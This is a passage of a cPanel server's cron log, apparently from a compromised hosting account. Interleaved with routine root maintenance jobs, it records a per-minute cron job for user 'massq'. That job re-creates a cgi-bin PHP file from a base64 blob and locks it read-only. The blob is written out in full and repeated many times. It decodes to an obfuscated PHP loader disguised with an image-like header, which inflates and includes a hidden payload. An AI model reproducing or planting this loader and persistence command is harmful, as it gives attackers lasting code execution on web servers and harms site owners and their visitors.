&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:55:01 server CROND[26614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:56:01 server CROND[27482]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:57:01 server CROND[28351]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 19:57:01 server CROND[28352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:58:01 server CROND[29253]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:59:01 server CROND[30007]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:00:01 server CROND[30844]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 20:00:01 server CROND[30845]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 20:00:01 server CROND[30846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:00:01 server CROND[30850]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:00:01 server CROND[30851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:01:01 server CROND[31950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:01:01 server CROND[31949]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 20:01:01 server run-parts(/etc/cron.hourly)[31949]: starting 0anacron
Nov 13 20:01:01 server run-parts(/etc/cron.hourly)[31962]: finished 0anacron
Nov 13 20:02:01 server CROND[371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:03:01 server CROND[1228]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:04:01 server CROND[2090]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:05:01 server CROND[2968]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 20:05:01 server CROND[2972]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 13 20:05:01 server CROND[2973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 20:05:01 server CROND[2975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:05:01 server CROND[2974]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 20:06:01 server CROND[3555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 20:07:01 server CROND[4189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
